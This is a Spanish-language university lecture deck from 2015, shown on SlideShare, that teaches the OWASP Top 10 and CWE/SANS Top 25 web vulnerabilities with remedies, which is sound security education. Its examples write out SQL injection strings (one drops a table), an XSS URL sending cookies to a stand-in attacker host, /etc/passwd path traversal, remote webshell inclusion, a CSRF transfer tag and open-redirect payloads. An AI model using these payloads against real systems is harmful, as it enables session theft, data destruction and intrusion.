SlideShare a Scribd company logo
1 of 114
VULNERABILIDADES
DE SEGURIDAD
EN APLICACIONES WEB
Universidad de Deusto
Julio 2015
Ander Izquierdo
CONTENIDO
1. El problema
2. Casos reales de mala seguridad
3. Estadísticas, cifras, y datos para asustar
4. Proyecto OWASP Top 10
5. CWE/SANS Top 25 errores más peligrosos
6. Otras referencias sobre seguridad
7. Preguntas
1. EL PROBLEMA
EL PROBLEMA: Tecnologías Heredadas
• La web emplea tecnologías heredadas que
hoy en día se usan para fines diferentes a los
que fueron concebidas.
• Ejemplo: HTTP, un protocolo sin estado.
– Necesario utilizar mecanismos externos para
mantener el estado.
– No hay negociación de conexión ni mantenimiento
de sesión.
• El atacante sólo necesita enviar una petición de página
con las cabeceras apropiadas.
EL PROBLEMA: Responsabilidades
Como consecuencia:
1. La aplicación debe protegerse frente a intentos
de entrada de usuarios malintencionados.
2. La aplicación deben proteger a los usuarios
legítimos de los usuarios malintencionados.
EL PROBLEMA: Responsabilidades
El peso de la seguridad recae en el programador.
(Aunque en la práctica haya soluciones que nos ayuden).
EL PROBLEMA: Exceso de confianza
¿Confiar en el usuario? ¡Jamás!
• La validación JavaScript no sirve como
mecanismo de seguridad.
• Es necesario hacer validación en el servidor.
– Y hay que validarlo TODO.
EL PROBLEMA: Exceso de confianza
• Es muy habitual que los programadores
confíen en:
– Valores transmitidos en cookies.
– Cabeceras HTTP.
– Campos en formularios:
• Desplegables
• Radio buttons
• Hidden fields
EL PROBLEMA: Exceso de confianza
Un atacante puede:
• Manipular cualquier fragmento de información
transmitido:
– Parámetros
– Cookies
– Cabeceras
• Evitar fácilmente cualquier mecanismo de control
implementado en lado cliente.
• Enviar peticiones en cualquier orden, enviar
parámetros en diferente formato a lo esperado, o
no enviarlos.
– Cualquier suposición de uso que haga el desarrollador
puede ser violada.
EL PROBLEMA: Exceso de confianza
Una entrada inesperada produce
un resultado impredecible.
2. CASOS REALES DE MALA SEGURIDAD
(y sus consecuencias)
CASOS REALES DE MALA SEGURIDAD
En 2011, Sony Network Entertainment sufrió
una filtración de datos.
Se comprometieron:
• Usuarios y contraseñas.
• Direcciones postales
• Direcciones de email válidas.
• No supieron determinar si se habían filtrado
datos de tarjetas de crédito.
CASOS REALES DE MALA SEGURIDAD
Facebook:
• En 2008: se descubrió que era posible acceder
a fotografías privadas de millones de usuarios.
– El ID de las fotografías era predecible.
– En 2011 se descubrió un error similar.
• En 2010: se descubrió un procedimiento para
obtener datos confidenciales de un usuario a
partir de su email.
– Fue utilizado por spammers y scammers para
enviar correo basura y realizar estafas.
CASOS REALES DE MALA SEGURIDAD
Tuenti:
• En mayo de 2009: se descubre vulnerabilidad
XSS en los tablones públicos que permite,
entre otras, robar la sesión del usuario.
• En agosto de 2009: se descubre vulnerabilidad
de inyección SQL en la versión móvil de la
web, permitiendo obtener datos
confidenciales de los usuarios (nombres
reales, teléfonos, emails, contraseñas en MD5,
etc).
CASOS REALES DE MALA SEGURIDAD
Twitter:
• Numerosos problemas de XSS a lo largo de su
historia, todos fácilmente explotables.
• En mayo de 2012 se publicó en PasteBin una
relación de 55.000 usuarios y contraseñas.
CASOS REALES DE MALA SEGURIDAD
LinkedIn:
• En junio de 2012: se publicaron más de
6 millones de contraseñas cifradas.
– Muchas fueron descifradas al momento gracias a
las tablas Rainbow.
CASOS REALES DE MALA SEGURIDAD
Google tampoco se queda exento:
• En 2007: se descubre vulnerabilidad CSRF en
Gmail que permite acceder a los mensajes de la
víctima.
• En 2009: se publica un procedimiento llamado
Surf Jacking para el robo de la cookie de sesión a
pesar del SSL.
– Tardaron 3 meses en arreglarlo desde que fueron
avisados.
– Muchas webs de bancos españoles también eran
vulnerables.
• Mucho tiempo después, seguían siéndolo.
CASOS REALES DE MALA SEGURIDAD
https://haveibeenpwned.com/
4. ESTADÍSTICAS, CIFRAS,
Y DATOS PARA ASUSTAR
ESTADÍSTICAS, CIFRAS, Y DATOS PARA ASUSTAR
Aceptabilidad certificación Verafied en primera entrega.
(Veracode. State of Software Security Report Volume 3. 2011.)
ESTADÍSTICAS, CIFRAS, Y DATOS PARA ASUSTAR
Tiempo para alcanzar la aceptabilidad Verafied.
(Veracode. State of Software Security Report Volume 3. 2011.)
ESTADÍSTICAS, CIFRAS, Y DATOS PARA ASUSTAR
Presencia de alguna vulnerabilidad Top 10 OWASP en primera entrega.
(Veracode. State of Software Security Report Volume 6. 2015.)
ESTADÍSTICAS, CIFRAS, Y DATOS PARA ASUSTAR
Probabilidad de encontrar una vulnerabilidad
(Veracode. State of Software Security Report Volume 3. 2011.)
4. PROYECTO OWASP TOP 10
PROYECTO OWASP TOP 10
OWASP = Open Web Application Security Project
Proyecto de código abierto para determinar y
combatir las causas que hacen que el software sea
inseguro.
Enfoque de seguridad en todas sus dimensiones:
• Personas
• Procesos
• Tecnologías
PROYECTO OWASP TOP 10
OWASP Top 10:
• Establece una lista de debilidades ordenada
por riesgo, y no por número de apariciones.
• Es mundialmente referenciada en libros,
publicaciones, y organizaciones dedicadas a la
seguridad (MITRE, Veracode, etc).
• Publicada en 2003, 2004, 2007, 2010 y 2013.
PROYECTO OWASP TOP 10
¿Qué es un riesgo?
Un riesgo es cada una de las rutas que puede recorrer un atacante para hacerte daño.
PROYECTO OWASP TOP 10
Para valorar un riesgo debemos preguntarnos:
• ¿Es frecuente que ocurra?
• ¿Es fácil descubrirlo?
• ¿Es fácil explotarlo?
• ¿Cuál será el impacto técnico?
• ¿Cuál será el impacto en el negocio?
PROYECTO OWASP TOP 10
Tener una vulnerabilidad != Ser vulnerable
PROYECTO OWASP TOP 10
• A1 – Inyección
• A2 – Pérdida de autenticación y gestión de sesiones
• A3 – Secuencia de Comandos en Sitios Cruzados (XSS)
• A4 – Referencia Directa Insegura a Objetos
• A5 – Configuración de Seguridad Incorrecta
• A6 – Exposición de datos sensibles
• A7 – Ausencia de Control de Acceso a Funciones
• A8 – Falsificación de Peticiones en Sitios Cruzados (CSRF)
• A9 – Utilización de componentes con vulnerabilidades
conocidas
• A10 – Redirecciones y reenvíos no validados
PROYECTO OWASP TOP 10
A1 – Inyección
PROYECTO OWASP TOP 10: A1 - Inyección
EL PROBLEMA
Construir comandos o consultas enviando al
intérprete datos no confiables sin filtrar.
En general, componer el String del comando o
consulta concatenando variables procedentes
del usuario sin control alguno.
PROYECTO OWASP TOP 10: A1 - Inyección
EJEMPLO 1
$query = "SELECT id FROM usuarios
WHERE email='$email' AND password='$password'";
Supongamos que introducimos el siguiente valor en la caja "Correo":
cualquiercosa' OR 1=1 LIMIT 1;--
Lo que enviamos al intérprete sería:
SELECT id FROM usuarios
WHERE email='cualquiercosa' OR 1=1 LIMIT 1;
--' AND password=''
PROYECTO OWASP TOP 10: A1 - Inyección
EJEMPLO 2
Si enviamos:
' OR id='1';--
Obtenemos:
SELECT id FROM usuarios
WHERE email='' OR id='1';
--' AND password=''
PROYECTO OWASP TOP 10: A1 - Inyección
EJEMPLO 3
Si enviamos:
' OR 1=1; DROP TABLE usuarios;--
Obtenemos:
SELECT id FROM usuarios
WHERE email='' OR 1=1;
DROP TABLE usuarios;
--' AND password=''
PROYECTO OWASP TOP 10: A1 - Inyección
RIESGOS
• Acceder a datos confidenciales
• Manipular información
• Suplantar identidad
• Vía de acceso a otro tipo de ataques (ej: XSS)
PROYECTO OWASP TOP 10: A1 - Inyección
LA SOLUCIÓN
Solución principal: Usar una API parametrizada
Ejemplo: uso de PreparedStatement en Java
String query = "SELECT * FROM User WHERE userId = ? ";
PreparedStatement prepStmt = con.prepareStatement(query);
prepStmt.setString(1, userId);
ResultSet rs = prepStmt.executeQuery();
PROYECTO OWASP TOP 10: A1 - Inyección
LA SOLUCIÓN
Solución alternativa: Filtrar caracteres especiales
Ejemplo: funciones de escape en PHP
$ciudad = $mysqli->real_escape_string($ciudad);
PROYECTO OWASP TOP 10: A1 - Inyección
¡HAY QUE TRATAR TODOS LOS PARÁMETROS!
Incluidos los campos de tipo:
• Desplegables
• Radio buttons
• Ocultos
• Widgets de calendario
• En peticiones GET y POST
PROYECTO OWASP TOP 10
A2 – Pérdida de autenticación
y gestión de sesiones
PROYECTO OWASP TOP 10: A2 – Autenticación
EL PROBLEMA
Errores de implementación que permiten:
• Obtener hashes de contraseñas
• Obtener contraseñas en claro
• Manipular el token de la sesión
El objetivo: asumir la identidad de otros usuarios.
– Habitualmente la del administrador.
PROYECTO OWASP TOP 10: A2 – Autenticación
EL PROBLEMA
Errores habituales:
• No cifrar en BBDD las contraseñas.
• Se pueden adivinar o sobreescribir las
contraseñas a través de funciones débiles de
gestión de la sesión.
• Los IDs de sesión son expuestos en la URL.
• Los IDs de sesión son predecibles.
• Los IDs de sesión no cambian al hacer login
(ataques de fijación de la sesión).
• Los IDs de sesión no expiran al hacer logout.
PROYECTO OWASP TOP 10: A2 – Autenticación
EJEMPLO 1
IDs de sesión expuestos en la URL
http://www.tiendaguay.com/producto1?sessionid=4U1OU3OUA9FFMJMF
PROYECTO OWASP TOP 10: A2 – Autenticación
EJEMPLO 2
Ataque de fijación de la sesión
El problema:
• La aplicación crea una sesión anónima cuando el usuario accede por primera
vez.
• Cuando el usuario se identifica, se actualiza a una sesión autenticada sin
cambiar el token.
El Ataque:
• El atacante obtiene primero un token anónimo con una visita normal.
• El atacante usa algún engaño para fijar ese token en el navegador de la
víctima. (ej: sesión en URL, administradores de cookies…).
• Una vez que la víctima ha hecho login, el atacante también estará dentro.
En enero de 2015 se descubrió una vulnerabilidad de este tipo en Joomla 2.5
PROYECTO OWASP TOP 10: A2 – Autenticación
EJEMPLO 3
IDs de sesión no expiran al hacer logout
Permitirían un ataque de fijación de sesión
persistente.
• El usuario hace logout.
– El atacante pierde acceso.
• El usuario vuelve a hacer login.
– El atacante recupera el acceso sin hacer nada.
PROYECTO OWASP TOP 10: A2 – Autenticación
LA SOLUCIÓN
Revisar y cumplir con los requisitos definidos en
el Application Security Verification Standard
(ASVS) de OWASP, secciones V2 y V3.
PROYECTO OWASP TOP 10: A2 – Autenticación
LA SOLUCIÓN
Algunos puntos son:
• Comprobar que la sesión caduca al de cierto tiempo.
• Comprobar que la sesión caduca al hacer logout.
• Comprobar que las páginas que requieren autenticación no
son accesibles de forma anónima.
• Comprobar que la sesión cambia al autenticar.
• Aceptar sólo tokens de sesión generados por la aplicación.
• Comprobar que los flags de las cookies de sesión sean
correctos (httponly y desactivar método TRACE).
• Comprobar que la aplicación no permite acceso
concurrente con un mismo usuario desde dos orígenes
distintos.
PROYECTO OWASP TOP 10
A3 – Secuencia de Comandos
en Sitios Cruzados (XSS)
PROYECTO OWASP TOP 10: A3 – XSS
EL PROBLEMA
Mostrar en las páginas de salida datos introducidos
por el usuario sin filtrar.
Sin una correcta validación, la entrada será tratada
como contenido activo por el navegador.
Permite al atacante enviar contenido JavaScript,
ActiveX, Flash o Silverlight al navegador de la
víctima.
PROYECTO OWASP TOP 10: A3 – XSS
EL PROBLEMA
Hay dos tipos:
• Reflejado
– Suele ser un ataque dirigido.
• Persistente
– Afecta potencialmente a todos los usuarios.
PROYECTO OWASP TOP 10: A3 – XSS
EJEMPLO 1
XSS Reflejado
Ocurre cuando el atacante envía una URL a la
víctima con parámetros GET manipulados.
El código malicioso se incluye como valor del
parámetro manipulado.
PROYECTO OWASP TOP 10: A3 – XSS
EJEMPLO 1
XSS Reflejado
Comportamiento normal:
PROYECTO OWASP TOP 10: A3 – XSS
EJEMPLO 1
XSS Reflejado
Ataque:
PROYECTO OWASP TOP 10: A3 – XSS
EJEMPLO 2
XSS Persistente
Ataque:
PROYECTO OWASP TOP 10: A3 – XSS
EJEMPLO 3
Robo de sesión
El atacante realiza un ataque dirigido enviando a
la víctima la siguiente URL:
http://www.google.com/?q=gatitos<script>docu
ment.location='http://atacante.com/robar?ses
ion='+document.cookie</script>
PROYECTO OWASP TOP 10: A3 - XSS
RIESGOS
• Robo de sesiones y escalada de privilegios
• Obtención de información confidencial
• Denegación de servicio
• Cambio de configuración del usuario
• Acciones en nombre del usuario
PROYECTO OWASP TOP 10: A3 – XSS
EJEMPLOS REALES
• Twitter: Retweet automático de un mensaje
sólo con visualizarlo.
• Youtube: Redireccionar a páginas con malware
al visualizar un comentario.
• Facebook: Robo de cookies de sesión.
PROYECTO OWASP TOP 10: A3 – XSS
LA SOLUCIÓN
Filtrar y codificar la información de entrada antes
de usarla como salida en HTML.
• En general, sustituir los caracteres con significado
en HTML por entidades sin significado:
> se convierte en &gt;
< se convierte en &lt;
& se convierte en &amp;
etc…
PROYECTO OWASP TOP 10
A4 – Referencia directa insegura a objetos
PROYECTO OWASP TOP 10: A4 – Referencias
EL PROBLEMA
Acceder a información en BBDD, objetos o
archivos sin comprobar que el usuario tenga
permisos sobre ellos.
PROYECTO OWASP TOP 10: A4 – Referencias
EJEMPLO 1
Insuficiente control de acceso a referencias
http://victima.com/verfactura?fact=918433
El atacante prueba códigos aleatorios de
facturas para tratar de acceder a documentos de
otras personas.
PROYECTO OWASP TOP 10: A4 – Referencias
EJEMPLO 2
Path Traversal
http://victima.com/verfactura?fact=918433.pdf
El atacante intenta llegar a recursos del sistema
a través del parámetro:
http://victima.com/verfactura?fact=../../../etc/passwd
PROYECTO OWASP TOP 10: A4 – Referencias
EJEMPLO 3
Remote File Inclusion
http://victima.com/index.php?p=facturas.php
El código fuente de index.php contiene:
include( $_GET['p'] );
El atacante puede abrir una webshell en el servidor
de la víctima solicitando:
http://victima.com/index.php?p=http://atacante/webshell.txt
PROYECTO OWASP TOP 10: A4 – Referencias
EJEMPLO 3
Remote File Inclusion
En PHP, las inclusiones tienen muuuuuucho peligro:
• include()
• require()
• include_once()
• require_once()
PROYECTO OWASP TOP 10: A4 – Referencias
EJEMPLO 4
Remote File Inclusion (con extensión implícita)
http://victima.com/index.php?p=facturas
El código fuente de index.php contiene:
include( $_GET['p'] . '.php' );
En PHP, el byte NULL 0 corta el procesamiento del
string, ignorando el resto:
http://victima.com/index.php?p=http://atacante/webshell.txt%00
PROYECTO OWASP TOP 10: A4 – Referencias
LA SOLUCIÓN
• Utilizar referencias indirectas:
– Ej: http://ejemplo.com/verfactura?fact=enero05
• Comprobar el acceso a todas las referencias
directas. Se debe asegurar que el usuario está
autorizado para acceder al objeto solicitado.
• ¡Mucho cuidado con las inclusiones!
PROYECTO OWASP TOP 10
A5 – Configuración de seguridad incorrecta
PROYECTO OWASP TOP 10: A5 – Configuración
EL PROBLEMA
• Software sin actualizar.
• Hay características innecesarias instaladas.
• Las cuentas de usuario y/o contraseñas por
defecto están sin cambiar.
• Los mensajes de error están en modo debug.
PROYECTO OWASP TOP 10: A5 – Configuración
EJEMPLO 1
Software sin actualizar
La versión de PHP instalada en el sistema es
vulnerable a un ataque de buffer overflow que
permite la ejecución arbitraria de código.
(ejecución arbitraria de código = date por jodido)
PROYECTO OWASP TOP 10: A5 – Configuración
EJEMPLO 2
Contraseñas por defecto (caso real)
Cientos de gasolineras en España permiten
acceder con contraseña por defecto al panel de
control de seguridad de las mismas.
El fallo permite, entre otras cosas, manipular el
sistema de alarmas de los tanques de
combustible.
PROYECTO OWASP TOP 10: A5 – Configuración
EJEMPLO 3
Mensajes en modo debug
PROYECTO OWASP TOP 10: A5 – Configuración
EJEMPLO 3
Mensajes en modo debug
PROYECTO OWASP TOP 10: A5 – Configuración
EJEMPLO 3
Mensajes en modo debug
PROYECTO OWASP TOP 10: A5 – Configuración
EJEMPLO 3
Mensajes en modo debug
PROYECTO OWASP TOP 10: A5 – Configuración
LA SOLUCIÓN
• Asegurar y configurar correctamente el
entorno.
• Eliminar el software no utilizado.
• Tener un plan de actualizaciones de software.
– Y llevarlo a cabo.
PROYECTO OWASP TOP 10
A6 – Exposición de datos sensibles
PROYECTO OWASP TOP 10: A6 – Datos Sensibles
EL PROBLEMA
• No cifrar en BBDD la información sensible.
• No utilizar SSL.
• Utilizar algún algoritmo criptográfico débil.
• Incorrecta rotación o mala gestión de claves
criptográficas.
• Ficheros subidos al servidor que no deberían
estar ahí.
PROYECTO OWASP TOP 10: A6 – Datos Sensibles
EJEMPLO 1
Datos sensibles sin cifrar
Escenario: La aplicación almacena en BBDD las
contraseñas de los usuarios sin cifrar.
Un atacante consigue robar la tabla de usuarios
mediante una vulnerabilidad de inyección SQL, y
se lleva las contraseñas en claro.
PROYECTO OWASP TOP 10: A6 – Datos Sensibles
EJEMPLO 2
Datos sensibles sin cifrar (otra vez)
Escenario: La aplicación almacena en BBDD las
contraseñas de los usuarios con un hash sin salt.
Un atacante consigue robar la tabla de usuarios
mediante una vulnerabilidad de inyección SQL.
Mediante tablas Rainbow consigue descifrar un
gran porcentaje de contraseñas en minutos.
EJEMPLO 3
Ficheros que no deberían estar ahí
• .DS_Store
• thumbs.db
• desktop.ini
• .svn
• .bashrc (y demás ocultos de la $HOME)
• *.java
• Etc…
PROYECTO OWASP TOP 10: A6 – Datos Sensibles
PROYECTO OWASP TOP 10: A6 – Datos sensibles
LA SOLUCIÓN
• Cifra todos los datos sensibles que sean almacenados o
transmitidos.
– Utiliza hash con salt.
• No almacenes información de más.
• Utiliza algoritmos de cifrado fuerte.
– MD5 está desaconsejado desde 2004 por problemas de
colisiones.
• Deshabilita "autocompletar" en formularios que
contengan datos sensibles.
• Deshabilita el cacheado de páginas que contengan
datos sensibles.
PROYECTO OWASP TOP 10
A7 – Ausencia de control de acceso a funciones
PROYECTO OWASP TOP 10: A7 – Acceso
EL PROBLEMA
• La aplicación no controla adecuadamente el
acceso a las páginas privadas.
– ¿La interfaz de usuario muestra links hacia
funcionalidades no autorizadas?
– ¿Se comprueba la autorización en todas las
páginas y acciones de formularios?
PROYECTO OWASP TOP 10: A7 – Acceso
EJEMPLO 1
El atacante envía una petición POST a un
formulario privado para intentar una escalada
de privilegios:
http://ejemplo.com/admin/createuser.php
PROYECTO OWASP TOP 10: A7 – Acceso
LA SOLUCIÓN
• Diseñar cuidadosamente el sistema de control
de accesos.
– Debería ser fácilmente auditable y parametrizable.
• Realizar pruebas intensivas para garantizar la
calidad de la implementación.
– Hay que probar con usuarios no autenticados, y
con usuarios con permisos limitados.
PROYECTO OWASP TOP 10
A8 – Falsificación de Peticiones
en Sitios Cruzados (CSRF)
PROYECTO OWASP TOP 10: A8 – CSRF
EL PROBLEMA
Formularios que permiten a un atacante
falsificar peticiones en nombre de la víctima.
PROYECTO OWASP TOP 10: A8 – CSRF
EL PROBLEMA
Cuando la víctima visita un sitio malicioso
controlado por el atacante, éste último puede:
• Publicar mensajes en nombre de la víctima.
• Transferir dinero.
• Enviar emails.
• Y en general, actuar sobre cualquier
formulario de los sitios web donde la víctima
mantenga sesión abierta.
PROYECTO OWASP TOP 10: A8 – CSRF
EJEMPLO 1
La víctima deja abierta la sesión con su banco
online, y visita la web del atacante.
La web maliciosa contiene una imagen con la
siguiente definición:
<img src="https://mibanco.com/areaclientes/transferir?
cantidad=5000&cuentadestino=atacante"
width="0" height="0" />
PROYECTO OWASP TOP 10: A8 – CSRF
EJEMPLO 1
Si la víctima está autenticada en su banco
online, las peticiones falsificadas incluirán
automáticamente la información de la sesión,
autorizando la operación.
PROYECTO OWASP TOP 10: A8 – CSRF
EJEMPLO 2
Espionaje en cuentas de Gmail (2007)
1. El usuario inicia sesión en Gmail.
2. El usuario visita una página que contiene
código malicioso.
3. El usuario envía (sin saberlo) una petición a
Gmail, creando un filtro de correo para
redirigir todo el correo entrante al atacante.
PROYECTO OWASP TOP 10: A8 – CSRF
LA SOLUCIÓN
1. Cuando el usuario solicita el formulario,
generar un token único no predecible, y
enviarlo en un campo oculto.
2. Cuando el usuario hace submit del
formulario, comprobar que el token devuelto
es el esperado.
– Rechazar la petición si no coincide, pertenece a
otro usuario, es vacío, o no está presente.
PROYECTO OWASP TOP 10: A8 – CSRF
OTRAS SOLUCIONES
1. Utilizar CAPTCHAs.
2. Solicitar re-autenticación para ciertas
operaciones.
PROYECTO OWASP TOP 10
A9 – Uso de Componentes
con Vulnerabilidades Conocidas
PROYECTO OWASP TOP 10: A9 – Componentes
EL PROBLEMA
Utilizar plugins, librerías, frameworks, o
cualquier pieza de software con vulnerabilidades
conocidas.
PROYECTO OWASP TOP 10: A9 – Componentes
EJEMPLO
Utilizar un plugin de Wordpress que permite
realizar un ataque XSS y compromete todo el
sitio web.
PROYECTO OWASP TOP 10: A9 – Componentes
LA SOLUCIÓN
• Revisar la base de datos CVE de MITRE.
– Hay que hacer un inventario de todo el software,
plugins, frameworks, especificando las versiones
de cada uno de ellos, y comprobar si poseen
vulnerabilidades conocidas.
• Tener un plan de actualizaciones de software.
– Y llevarlo a cabo.
PROYECTO OWASP TOP 10
A10 – Redirecciones y Reenvíos
No Válidos
PROYECTO OWASP TOP 10: A10 – Redirecciones
EL PROBLEMA
Realizar redirecciones a otras partes de nuestra
web, aceptando el destino de la redirección
desde parámetro y sin filtrar.
PROYECTO OWASP TOP 10: A10 – Redirecciones
EJEMPLO 1
Escenario:
Cuando un visitante intenta acceder a una parte
privada de nuestra web, se le envía al formulario
de login, especificando como parámetro la
página privada que quería ver.
El objetivo es enviarle a la página privada una
vez haya iniciado la sesión.
PROYECTO OWASP TOP 10: A10 – Redirecciones
EJEMPLO 1
Comportamiento esperado:
El usuario pide:
http://ejemplo.com/foros/privado.php
El sistema redirige a:
http://ejemplo.com/foros/login.php?redirect=privado.php
Cuando el usuario se identifica, el sistema le redirige
automáticamente a la página que quería visitar.
PROYECTO OWASP TOP 10: A10 – Redirecciones
EJEMPLO 1
Ataque:
El atacante compone y envía a la víctima la
siguiente URL:
http://ejemplo.com/foros/login?redirect=http://
sitiosuperhacker.com
PROYECTO OWASP TOP 10: A10 – Redirecciones
EJEMPLO 2
Escenario:
Si el parámetro sólo llevara el nombre del
archivo y nuestro código concatenara la
extensión ".php", mitigaría el ataque…
¿Seguro?
PROYECTO OWASP TOP 10: A10 – Redirecciones
EJEMPLO 2
Comportamiento esperado:
El usuario pide:
http://ejemplo.com/foros/privado.php
El sistema redirige a:
http://ejemplo.com/foros/login.php?redirect=privado
El destino final se calcula así:
$destino = $_GET['redirect'] . '.php';
PROYECTO OWASP TOP 10: A10 – Redirecciones
EJEMPLO 2
Ataque:
En PHP, el byte NULL 0 corta el procesamiento del
string, ignorando el resto.
El atacante compone y envía a la víctima la
siguiente URL:
http://ejemplo.com/foros/login?redirect=http://sitio
superhacker.com%00
PROYECTO OWASP TOP 10: A10 – Redirecciones
LA SOLUCIÓN
1. Evitar redirecciones siempre que se pueda.
2. No utilizar parámetros manipulables por el
usuario.
3. Si no queda más remedio:
1. Comprobar que el valor de destino sea válido y
autorizado.
2. Utilizar valores de mapeo, en lugar de la
dirección real de destino (o una porción de ésta).
3. Utilizar listas blancas.
5. CWE/SANS TOP 25 ERRORES
MÁS PELIGROSOS
CWE/SANS TOP 25 ERRORES MÁS PELIGROSOS
1. Improper Neutralization of Special Elements used in an SQL
Command ('SQL Injection')
2. Improper Neutralization of Special Elements used in an OS
Command ('OS Command Injection')
3. Buffer Copy without Checking Size of Input ('Classic Buffer
Overflow')
4. Improper Neutralization of Input During Web Page Generation
('Cross-site Scripting')
5. Missing Authentication for Critical Function
6. Missing Authorization
7. Use of Hard-coded Credentials
8. Missing Encryption of Sensitive Data
9. Unrestricted Upload of File with Dangerous Type
10. Reliance on Untrusted Inputs in a Security Decision
11. Execution with Unnecessary Privileges
12. Cross-Site Request Forgery (CSRF)
CWE/SANS TOP 25 ERRORES MÁS PELIGROSOS
13. Improper Limitation of a Pathname to a Restricted Directory ('Path
Traversal')
14. Download of Code Without Integrity Check
15. Incorrect Authorization
16. Inclusion of Functionality from Untrusted Control Sphere
17. Incorrect Permission Assignment for Critical Resource
18. Use of Potentially Dangerous Function
19. Use of a Broken or Risky Cryptographic Algorithm
20. Incorrect Calculation of Buffer Size
21. Improper Restriction of Excessive Authentication Attempts
22. URL Redirection to Untrusted Site ('Open Redirect')
23. Uncontrolled Format String
24. Integer Overflow or Wraparound
25. Use of a One-Way Hash without a Salt
6. OTRAS REFERENCIAS DE SEGURIDAD
OTRAS REFERENCIAS DE SEGURIDAD
• Recursos OWASP:
– OWASP Application Security Verification Standard
– OWASP Backend Security Project
– OWASP PHP Security Project
– OWASP Secure Coding Practices
• Base de datos de debilidades CWE de MITRE.
• Base de datos de vulnerabilidades CVE de MITRE.
• Base de datos de vulnerabilidades de
SecurityFocus.
• Informes INCIBE (antes INTECO), dependiente del
Ministerio de Industria, Energía y Turismo.
• Informes de Veracode.
Cursos e-ghost 2015: Vulnerabilidades de Seguridad en Aplicaciones Web
¿PREGUNTAS?
¡GRACIAS POR VUESTRA ATENCIÓN!
Ander Izquierdo
axelko@gmail.com
Competición de Seguridad Informática organizada por INCIBE para la
captación de nuevos talentos.
Hay varias temáticas:
• Ingeniería Inversa
• Exploiting
• Análisis Forense
• Vulnerabilidades Web
• Criptografía
¡Y empieza hoy!
Del 17 hasta el 26 de julio.

More Related Content

Recently uploaded

redes informaticas en una oficina administrativa
redes informaticas en una oficina administrativaredes informaticas en una oficina administrativa
redes informaticas en una oficina administrativa
nicho110
 

Recently uploaded (10)

Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...
Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...
Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...
 
Avances tecnológicos del siglo XXI y ejemplos de estos
Avances tecnológicos del siglo XXI y ejemplos de estosAvances tecnológicos del siglo XXI y ejemplos de estos
Avances tecnológicos del siglo XXI y ejemplos de estos
 
EVOLUCION DE LA TECNOLOGIA Y SUS ASPECTOSpptx
EVOLUCION DE LA TECNOLOGIA Y SUS ASPECTOSpptxEVOLUCION DE LA TECNOLOGIA Y SUS ASPECTOSpptx
EVOLUCION DE LA TECNOLOGIA Y SUS ASPECTOSpptx
 
investigación de los Avances tecnológicos del siglo XXI
investigación de los Avances tecnológicos del siglo XXIinvestigación de los Avances tecnológicos del siglo XXI
investigación de los Avances tecnológicos del siglo XXI
 
How to use Redis with MuleSoft. A quick start presentation.
How to use Redis with MuleSoft. A quick start presentation.How to use Redis with MuleSoft. A quick start presentation.
How to use Redis with MuleSoft. A quick start presentation.
 
Avances tecnológicos del siglo XXI 10-07 eyvana
Avances tecnológicos del siglo XXI 10-07 eyvanaAvances tecnológicos del siglo XXI 10-07 eyvana
Avances tecnológicos del siglo XXI 10-07 eyvana
 
Guia Basica para bachillerato de Circuitos Basicos
Guia Basica para bachillerato de Circuitos BasicosGuia Basica para bachillerato de Circuitos Basicos
Guia Basica para bachillerato de Circuitos Basicos
 
Buenos_Aires_Meetup_Redis_20240430_.pptx
Buenos_Aires_Meetup_Redis_20240430_.pptxBuenos_Aires_Meetup_Redis_20240430_.pptx
Buenos_Aires_Meetup_Redis_20240430_.pptx
 
redes informaticas en una oficina administrativa
redes informaticas en una oficina administrativaredes informaticas en una oficina administrativa
redes informaticas en una oficina administrativa
 
Innovaciones tecnologicas en el siglo 21
Innovaciones tecnologicas en el siglo 21Innovaciones tecnologicas en el siglo 21
Innovaciones tecnologicas en el siglo 21
 

Featured

How Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthHow Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental Health
ThinkNow
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
Kurio // The Social Media Age(ncy)
 

Featured (20)

How Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthHow Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental Health
 
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfAI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
 
Skeleton Culture Code
Skeleton Culture CodeSkeleton Culture Code
Skeleton Culture Code
 
PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024
 
Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
